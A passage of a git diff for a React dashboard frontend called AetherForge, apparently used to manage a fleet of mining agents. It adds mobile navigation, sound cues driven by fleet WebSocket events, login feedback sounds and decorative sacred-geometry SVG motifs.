useEffect(() => {
|
||||||
|
if (!moreOpen) return;
|
||||||
|
const prev = document.body.style.overflow;
|
||||||
|
document.body.style.overflow = 'hidden';
|
||||||
|
return () => {
|
||||||
|
document.body.style.overflow = prev;
|
||||||
|
};
|
||||||
|
}, [moreOpen]);
|
||||||
|
|
||||||
|
const setupStatus = getSetupStatus(serverConfig);
|
||||||
|
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||||
|
const mobileShortLabel: Record<string, string> = {
|
||||||
|
'/dashboard': 'Deck',
|
||||||
|
'/agents': 'Fleet',
|
||||||
|
'/crucible': 'Ops',
|
||||||
|
'/forge': 'Forge',
|
||||||
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="layout">
|
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
|
||||||
<CursorFire />
|
{!isMobile && <CursorFire />}
|
||||||
<AmbientBackground />
|
<AmbientBackground />
|
||||||
<nav className="sidebar">
|
<SacredGeometryLayer />
|
||||||
|
<nav className="sidebar sidebar--desktop desktop-only">
|
||||||
<div className="sidebar-header">
|
<div className="sidebar-header">
|
||||||
<div className="logo">
|
<div className="logo">
|
||||||
<div className="logo-emblem">
|
<div className="logo-emblem">
|
||||||
@@ -172,6 +241,10 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div className="sidebar-sacred-sigil" aria-hidden>
|
||||||
|
<SacredMotif name="flower" opacity={0.6} />
|
||||||
|
</div>
|
||||||
|
|
||||||
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
|
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
|
||||||
<MatrixRain />
|
<MatrixRain />
|
||||||
|
|
||||||
@@ -184,10 +257,72 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<div className="main-with-status">
|
{isMobile && (
|
||||||
|
<header className="mobile-top-bar">
|
||||||
|
<img src={afLogo} alt="" className="mobile-top-logo" />
|
||||||
|
<span className="mobile-top-title">AetherForge</span>
|
||||||
|
<MobileTopStats />
|
||||||
|
</header>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div className={`main-with-status${isMobile ? ' main-with-status--mobile' : ''}`}>
|
||||||
<SystemStatusBar />
|
<SystemStatusBar />
|
||||||
|
<SetupBanner status={setupStatus} />
|
||||||
<main className="main-content">{children}</main>
|
<main className="main-content">{children}</main>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{isMobile && (
|
||||||
|
<>
|
||||||
|
{moreOpen && (
|
||||||
|
<div
|
||||||
|
className="mobile-menu-backdrop"
|
||||||
|
role="presentation"
|
||||||
|
onClick={() => setMoreOpen(false)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
<div className={`mobile-more-sheet${moreOpen ? ' open' : ''}`}>
|
||||||
|
{MOBILE_MORE.map((item) => (
|
||||||
|
<NavLink
|
||||||
|
key={item.to}
|
||||||
|
to={item.to}
|
||||||
|
className={({ isActive }) => `mobile-more-link${isActive ? ' active' : ''}`}
|
||||||
|
onClick={() => setMoreOpen(false)}
|
||||||
|
>
|
||||||
|
<NavIcon type={item.icon} />
|
||||||
|
{item.label}
|
||||||
|
</NavLink>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<nav className="mobile-bottom-nav" aria-label="Main navigation">
|
||||||
|
{MOBILE_PRIMARY.map((item) => (
|
||||||
|
<NavLink
|
||||||
|
key={item.to}
|
||||||
|
to={item.to}
|
||||||
|
className={({ isActive }) =>
|
||||||
|
`mobile-bottom-nav-item${isActive ? ' active' : ''}`
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<NavIcon type={item.icon} />
|
||||||
|
{mobileShortLabel[item.to] ?? item.label}
|
||||||
|
</NavLink>
|
||||||
|
))}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className={`mobile-bottom-nav-item${moreActive ? ' active' : ''}`}
|
||||||
|
aria-expanded={moreOpen}
|
||||||
|
aria-label="More pages"
|
||||||
|
onClick={() => setMoreOpen((o) => !o)}
|
||||||
|
>
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
<circle cx="12" cy="5" r="1.5" fill="currentColor" />
|
||||||
|
<circle cx="12" cy="12" r="1.5" fill="currentColor" />
|
||||||
|
<circle cx="12" cy="19" r="1.5" fill="currentColor" />
|
||||||
|
</svg>
|
||||||
|
More
|
||||||
|
</button>
|
||||||
|
</nav>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
182
server/web/src/components/Layout/MobileNav.css
Normal file
182
server/web/src/components/Layout/MobileNav.css
Normal file
@@ -0,0 +1,182 @@
|
|||||||
|
/* Mobile top bar + bottom nav (see Layout.tsx) */
|
||||||
|
|
||||||
|
.mobile-only {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.mobile-only {
|
||||||
|
display: flex;
|
||||||
|
}
|
||||||
|
|
||||||
|
.desktop-only {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-top-bar {
|
||||||
|
display: none;
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
z-index: 110;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.65rem;
|
||||||
|
padding: 0.5rem 0.75rem;
|
||||||
|
background: rgba(8, 6, 4, 0.96);
|
||||||
|
border-bottom: 1px solid var(--border-brass);
|
||||||
|
backdrop-filter: blur(12px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--mobile .mobile-top-bar {
|
||||||
|
display: flex;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-top-logo {
|
||||||
|
width: 36px;
|
||||||
|
height: 36px;
|
||||||
|
border-radius: 50%;
|
||||||
|
object-fit: contain;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-top-title {
|
||||||
|
font-family: var(--font-display);
|
||||||
|
font-size: 0.95rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: var(--brass-light);
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-top-stats {
|
||||||
|
margin-left: auto;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.65rem;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-align: right;
|
||||||
|
line-height: 1.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-top-stats span {
|
||||||
|
display: block;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.55rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--mobile .main-with-status {
|
||||||
|
padding-top: 52px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-bottom-nav {
|
||||||
|
display: none;
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
z-index: 110;
|
||||||
|
align-items: stretch;
|
||||||
|
justify-content: space-around;
|
||||||
|
gap: 0;
|
||||||
|
background: rgba(8, 6, 4, 0.98);
|
||||||
|
border-top: 1px solid var(--border-brass);
|
||||||
|
backdrop-filter: blur(16px);
|
||||||
|
box-shadow: 0 -4px 24px rgba(0, 0, 0, 0.45);
|
||||||
|
}
|
||||||
|
|
||||||
|
.layout--mobile .mobile-bottom-nav {
|
||||||
|
display: flex;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-bottom-nav-item {
|
||||||
|
flex: 1;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 0.15rem;
|
||||||
|
padding: 0.4rem 0.2rem;
|
||||||
|
min-height: 52px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 0.55rem;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.03em;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
cursor: pointer;
|
||||||
|
-webkit-tap-highlight-color: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-bottom-nav-item svg {
|
||||||
|
width: 1.25rem;
|
||||||
|
height: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-bottom-nav-item.active,
|
||||||
|
.mobile-bottom-nav-item:hover {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-bottom-nav-item.active {
|
||||||
|
background: rgba(0, 245, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-menu-backdrop {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
z-index: 115;
|
||||||
|
background: rgba(0, 0, 0, 0.55);
|
||||||
|
backdrop-filter: blur(2px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-more-sheet {
|
||||||
|
position: fixed;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
bottom: calc(52px + env(safe-area-inset-bottom, 0px));
|
||||||
|
z-index: 120;
|
||||||
|
max-height: 55vh;
|
||||||
|
overflow-y: auto;
|
||||||
|
-webkit-overflow-scrolling: touch;
|
||||||
|
background: rgba(12, 10, 8, 0.98);
|
||||||
|
border-top: 1px solid var(--border-brass);
|
||||||
|
padding: 0.5rem;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.25rem;
|
||||||
|
transform: translateY(100%);
|
||||||
|
opacity: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
transition: transform 0.25s ease, opacity 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-more-sheet.open {
|
||||||
|
transform: translateY(0);
|
||||||
|
opacity: 1;
|
||||||
|
pointer-events: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-more-link {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
padding: 0.85rem 1rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 0.95rem;
|
||||||
|
font-weight: 600;
|
||||||
|
min-height: 48px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-more-link.active {
|
||||||
|
background: rgba(0, 245, 255, 0.1);
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-more-link svg {
|
||||||
|
width: 1.35rem;
|
||||||
|
height: 1.35rem;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
import { ReactNode, CSSProperties } from 'react';
|
import { ReactNode, CSSProperties } from 'react';
|
||||||
|
import SacredCardWatermark from '../Visual/sacredGeometry/SacredCardWatermark';
|
||||||
import './NeonCard.css';
|
import './NeonCard.css';
|
||||||
|
|
||||||
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
|
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
|
||||||
@@ -26,6 +27,7 @@ export default function NeonCard({
|
|||||||
style={style}
|
style={style}
|
||||||
>
|
>
|
||||||
<div className="neon-card-rim" />
|
<div className="neon-card-rim" />
|
||||||
|
<SacredCardWatermark accent={accent} />
|
||||||
{children}
|
{children}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
import { useEffect, useState, type ReactNode } from 'react';
|
import { useEffect, useState, type ReactNode } from 'react';
|
||||||
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
import { getStoredAuth, setStoredAuth } from '../api/auth';
|
||||||
|
import { useSound } from '../context/SoundContext';
|
||||||
|
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||||
|
|
||||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||||
|
const { play } = useSound();
|
||||||
const [ready, setReady] = useState(false);
|
const [ready, setReady] = useState(false);
|
||||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||||
const [user, setUser] = useState('');
|
const [user, setUser] = useState('');
|
||||||
@@ -34,10 +37,12 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
|||||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
setErr('Login failed — check username and password.');
|
setErr('Login failed — check username and password.');
|
||||||
|
play('error');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
setStoredAuth(user, pass);
|
setStoredAuth(user, pass);
|
||||||
setAuthed(true);
|
setAuthed(true);
|
||||||
|
play('success');
|
||||||
} catch {
|
} catch {
|
||||||
setErr('Cannot reach server — check that miner-server is running.');
|
setErr('Cannot reach server — check that miner-server is running.');
|
||||||
}
|
}
|
||||||
@@ -46,6 +51,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
|||||||
if (!ready) {
|
if (!ready) {
|
||||||
return (
|
return (
|
||||||
<div className="session-gate">
|
<div className="session-gate">
|
||||||
|
<div className="session-gate-sacred-ring" aria-hidden>
|
||||||
|
<FlowerOfLifeWatermark opacity={0.5} />
|
||||||
|
</div>
|
||||||
<p className="font-tech">Starting AetherForge…</p>
|
<p className="font-tech">Starting AetherForge…</p>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
@@ -54,6 +62,17 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
|||||||
if (!authed) {
|
if (!authed) {
|
||||||
return (
|
return (
|
||||||
<div className="session-gate">
|
<div className="session-gate">
|
||||||
|
<div className="session-gate-sacred-ring" aria-hidden>
|
||||||
|
<FlowerOfLifeWatermark opacity={0.5} />
|
||||||
|
</div>
|
||||||
|
<div className="session-gate-keys" aria-hidden>
|
||||||
|
<div className="session-gate-key session-gate-key--tl">
|
||||||
|
<KnowledgeKey opacity={0.55} />
|
||||||
|
</div>
|
||||||
|
<div className="session-gate-key session-gate-key--br">
|
||||||
|
<KnowledgeKey opacity={0.45} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<form className="session-gate-card card" onSubmit={handleLogin}>
|
<form className="session-gate-card card" onSubmit={handleLogin}>
|
||||||
<h1 className="font-display">AetherForge</h1>
|
<h1 className="font-display">AetherForge</h1>
|
||||||
<p className="form-hint">Sign in to open the command deck.</p>
|
<p className="form-hint">Sign in to open the command deck.</p>
|
||||||
@@ -72,6 +91,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
|||||||
<button type="submit" className="btn btn-primary btn-lg">
|
<button type="submit" className="btn btn-primary btn-lg">
|
||||||
Enter Command Deck
|
Enter Command Deck
|
||||||
</button>
|
</button>
|
||||||
|
<p className="session-gate-whisper" aria-hidden>
|
||||||
|
ψ · the deck remembers every key
|
||||||
|
</p>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|||||||
73
server/web/src/components/Sound/SoundBridge.tsx
Normal file
73
server/web/src/components/Sound/SoundBridge.tsx
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
import { useEffect, useRef } from 'react';
|
||||||
|
import { useSound } from '../../context/SoundContext';
|
||||||
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
|
import type { FleetAlert, WSMessage } from '../../types';
|
||||||
|
import type { WSCommandResult } from '../../types/ws';
|
||||||
|
|
||||||
|
const SHARE_MIN_MS = 2500;
|
||||||
|
const CMD_RESULT_MIN_MS = 600;
|
||||||
|
const SILENT_CMD_ACTIONS = new Set(['get_log', 'wg_status', 'mesh_status']);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Plays fleet/event cues from the shared dashboard WebSocket (not UI clicks).
|
||||||
|
*/
|
||||||
|
export default function SoundBridge() {
|
||||||
|
const { enabled, play } = useSound();
|
||||||
|
const { isConnected, latestMessage } = useWebSocket();
|
||||||
|
const wasConnected = useRef<boolean | null>(null);
|
||||||
|
const lastShareAt = useRef(0);
|
||||||
|
const lastCmdAt = useRef(0);
|
||||||
|
const lastMsgRef = useRef<WSMessage | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!enabled) return;
|
||||||
|
if (wasConnected.current === null) {
|
||||||
|
wasConnected.current = isConnected;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (wasConnected.current !== isConnected) {
|
||||||
|
play(isConnected ? 'connect' : 'disconnect');
|
||||||
|
wasConnected.current = isConnected;
|
||||||
|
}
|
||||||
|
}, [isConnected, enabled, play]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!enabled || !latestMessage || latestMessage === lastMsgRef.current) return;
|
||||||
|
lastMsgRef.current = latestMessage;
|
||||||
|
|
||||||
|
switch (latestMessage.type) {
|
||||||
|
case 'agent_online':
|
||||||
|
play('online');
|
||||||
|
break;
|
||||||
|
case 'agent_offline':
|
||||||
|
play('offline');
|
||||||
|
break;
|
||||||
|
case 'new_share': {
|
||||||
|
const now = Date.now();
|
||||||
|
if (now - lastShareAt.current >= SHARE_MIN_MS) {
|
||||||
|
lastShareAt.current = now;
|
||||||
|
play('share');
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'fleet_alert': {
|
||||||
|
const alert = latestMessage.payload as FleetAlert;
|
||||||
|
play(alert.level === 'error' ? 'alertCritical' : 'alert');
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'command_result': {
|
||||||
|
const p = latestMessage.payload as WSCommandResult;
|
||||||
|
if (p.action && SILENT_CMD_ACTIONS.has(p.action)) break;
|
||||||
|
const now = Date.now();
|
||||||
|
if (now - lastCmdAt.current < CMD_RESULT_MIN_MS) break;
|
||||||
|
lastCmdAt.current = now;
|
||||||
|
play(p.success ? 'success' : 'error');
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}, [latestMessage, enabled, play]);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
@@ -125,6 +125,7 @@ export default function CursorFire() {
|
|||||||
return (
|
return (
|
||||||
<canvas
|
<canvas
|
||||||
ref={canvasRef}
|
ref={canvasRef}
|
||||||
|
className="cursor-fire-fx"
|
||||||
style={{
|
style={{
|
||||||
position: 'fixed',
|
position: 'fixed',
|
||||||
inset: 0,
|
inset: 0,
|
||||||
|
|||||||
@@ -364,6 +364,24 @@
|
|||||||
color: var(--neon-green);
|
color: var(--neon-green);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.system-status-bar {
|
||||||
|
flex-wrap: nowrap;
|
||||||
|
overflow-x: auto;
|
||||||
|
-webkit-overflow-scrolling: touch;
|
||||||
|
scrollbar-width: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.system-status-bar::-webkit-scrollbar {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-pill {
|
||||||
|
flex-shrink: 0;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@media (max-width: 640px) {
|
@media (max-width: 640px) {
|
||||||
.compare-grid {
|
.compare-grid {
|
||||||
grid-template-columns: 1fr;
|
grid-template-columns: 1fr;
|
||||||
|
|||||||
@@ -73,12 +73,12 @@ interface ActivityPulseProps {
|
|||||||
items: { id: string; label: string; ok: boolean; time?: string }[];
|
items: { id: string; label: string; ok: boolean; time?: string }[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ActivityPulse({ items }: ActivityPulseProps) {
|
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
|
||||||
if (items.length === 0) {
|
if (items.length === 0) {
|
||||||
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
return <p className="activity-empty font-tech">Awaiting fleet activity…</p>;
|
||||||
}
|
}
|
||||||
return (
|
return (
|
||||||
<div className="activity-pulse">
|
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
|
||||||
{items.slice(0, 12).map((item) => (
|
{items.slice(0, 12).map((item) => (
|
||||||
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
|
||||||
<span className="activity-blip-core" />
|
<span className="activity-blip-core" />
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
import { SacredMotif, type MotifName } from './motifs';
|
||||||
|
|
||||||
|
const ACCENT_MOTIFS: Record<string, [MotifName, MotifName]> = {
|
||||||
|
cyan: ['hex', 'seed'],
|
||||||
|
magenta: ['vesica', 'yantra'],
|
||||||
|
amber: ['spiral', 'key'],
|
||||||
|
green: ['seed', 'hex'],
|
||||||
|
purple: ['metatron', 'torus'],
|
||||||
|
brass: ['flower', 'key'],
|
||||||
|
gold: ['yantra', 'spiral'],
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Corner watermarks inside neon cards */
|
||||||
|
export default function SacredCardWatermark({ accent = 'brass' }: { accent?: string }) {
|
||||||
|
const [tl, br] = ACCENT_MOTIFS[accent] ?? ACCENT_MOTIFS.brass;
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
<div className="neon-card-sacred neon-card-sacred--tl" aria-hidden>
|
||||||
|
<SacredMotif name={tl} opacity={0.5} />
|
||||||
|
</div>
|
||||||
|
<div className="neon-card-sacred neon-card-sacred--tr" aria-hidden>
|
||||||
|
<SacredMotif name="seed" opacity={0.35} />
|
||||||
|
</div>
|
||||||
|
<div className="neon-card-sacred neon-card-sacred--br" aria-hidden>
|
||||||
|
<SacredMotif name={br} opacity={0.45} />
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
/* Layer-specific overrides (shared tokens in sacred-geometry.css) */
|
||||||
|
.sacred-layer__corner--mid-l {
|
||||||
|
transform: translateY(-50%);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sacred-layer__corner--mid-r {
|
||||||
|
transform: translateY(-50%);
|
||||||
|
}
|
||||||
|
|
||||||
|
.sacred-layer__corner--mid-l svg,
|
||||||
|
.sacred-layer__corner--mid-r svg {
|
||||||
|
animation: sacred-geo-rotate 220s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sacred-layer__corner--mid-r svg {
|
||||||
|
animation-direction: reverse;
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
import { SacredMotif } from './motifs';
|
||||||
|
import './SacredGeometryLayer.css';
|
||||||
|
|
||||||
|
/** Viewport-wide sacred geometry — corners, keys, wisdom rail */
|
||||||
|
export default function SacredGeometryLayer() {
|
||||||
|
return (
|
||||||
|
<div className="sacred-layer" aria-hidden>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--tl">
|
||||||
|
<SacredMotif name="metatron" opacity={0.55} />
|
||||||
|
</div>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--tr">
|
||||||
|
<SacredMotif name="yantra" opacity={0.5} />
|
||||||
|
</div>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--bl">
|
||||||
|
<SacredMotif name="spiral" opacity={0.5} />
|
||||||
|
</div>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--br">
|
||||||
|
<SacredMotif name="key" opacity={0.55} />
|
||||||
|
</div>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--mid-l">
|
||||||
|
<SacredMotif name="vesica" opacity={0.45} />
|
||||||
|
</div>
|
||||||
|
<div className="sacred-layer__corner sacred-layer__corner--mid-r">
|
||||||
|
<SacredMotif name="torus" opacity={0.45} />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="sacred-layer__keys">
|
||||||
|
<span className="sacred-key sacred-key--1" title="Shell index">
|
||||||
|
◈
|
||||||
|
</span>
|
||||||
|
<span className="sacred-key sacred-key--2" title="Ley ledger">
|
||||||
|
✦
|
||||||
|
</span>
|
||||||
|
<span className="sacred-key sacred-key--3" title="Root chord">
|
||||||
|
◎
|
||||||
|
</span>
|
||||||
|
<span className="sacred-key sacred-key--4" title="Archive gate">
|
||||||
|
ψ
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="sacred-layer__wisdom-rail font-tech" title="Whispers from the deck">
|
||||||
|
<span>Ω</span>
|
||||||
|
<span>∇</span>
|
||||||
|
<span>∞</span>
|
||||||
|
<span>⌬</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
import type { ReactNode } from 'react';
|
||||||
|
import { SacredMotif } from './motifs';
|
||||||
|
|
||||||
|
/** Optional sacred divider + motif beside page titles */
|
||||||
|
export default function SacredPageHeader({
|
||||||
|
children,
|
||||||
|
className = '',
|
||||||
|
}: {
|
||||||
|
children: ReactNode;
|
||||||
|
className?: string;
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<header className={`page-header page-header--sacred ${className}`.trim()}>
|
||||||
|
{children}
|
||||||
|
<div className="page-header-sacred-motif" aria-hidden>
|
||||||
|
<SacredMotif name="hex" opacity={0.55} />
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
);
|
||||||
|
}
|
||||||
292
server/web/src/components/Visual/sacredGeometry/motifs.tsx
Normal file
292
server/web/src/components/Visual/sacredGeometry/motifs.tsx
Normal file
@@ -0,0 +1,292 @@
|
|||||||
|
/** Reusable sacred-geometry SVG motifs — decorative only (aria-hidden at call sites). */
|
||||||
|
|
||||||
|
type MotifProps = {
|
||||||
|
className?: string;
|
||||||
|
stroke?: string;
|
||||||
|
opacity?: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
const DEFAULT_STROKE = '#c9a227';
|
||||||
|
|
||||||
|
export function FlowerOfLifeWatermark({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 50;
|
||||||
|
const R = 32;
|
||||||
|
const petalAngles = [0, 60, 120, 180, 240, 300];
|
||||||
|
const petals = petalAngles.map((deg) => {
|
||||||
|
const rad = (deg * Math.PI) / 180;
|
||||||
|
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
|
||||||
|
});
|
||||||
|
const starR = R * 1.15;
|
||||||
|
const starPts = Array.from({ length: 5 }, (_, i) => {
|
||||||
|
const rad = ((i * 72 - 90) * Math.PI) / 180;
|
||||||
|
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
|
||||||
|
});
|
||||||
|
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
|
||||||
|
const triR = R * 0.7;
|
||||||
|
const triUp = [0, 120, 240]
|
||||||
|
.map((d) => {
|
||||||
|
const rad = ((d - 90) * Math.PI) / 180;
|
||||||
|
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||||
|
})
|
||||||
|
.join(' ');
|
||||||
|
const triDown = [60, 180, 300]
|
||||||
|
.map((d) => {
|
||||||
|
const rad = ((d - 90) * Math.PI) / 180;
|
||||||
|
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||||
|
})
|
||||||
|
.join(' ');
|
||||||
|
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity}>
|
||||||
|
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="1.2 1.8" />
|
||||||
|
<circle cx={cx} cy={cy} r={R} fill="none" stroke={stroke} strokeWidth="0.22" />
|
||||||
|
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="0.6 1.2" />
|
||||||
|
{petals.map((p, i) => (
|
||||||
|
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke={stroke} strokeWidth="0.16" opacity="0.7" />
|
||||||
|
))}
|
||||||
|
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
|
||||||
|
<polygon points={triUp} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
|
||||||
|
<polygon points={triDown} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
|
||||||
|
<circle cx={cx} cy={cy} r="0.6" fill={stroke} opacity="0.9" />
|
||||||
|
{starPts.map((p, i) => (
|
||||||
|
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke={stroke} strokeWidth="0.1" opacity="0.35" />
|
||||||
|
))}
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function SeedOfLife({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 50;
|
||||||
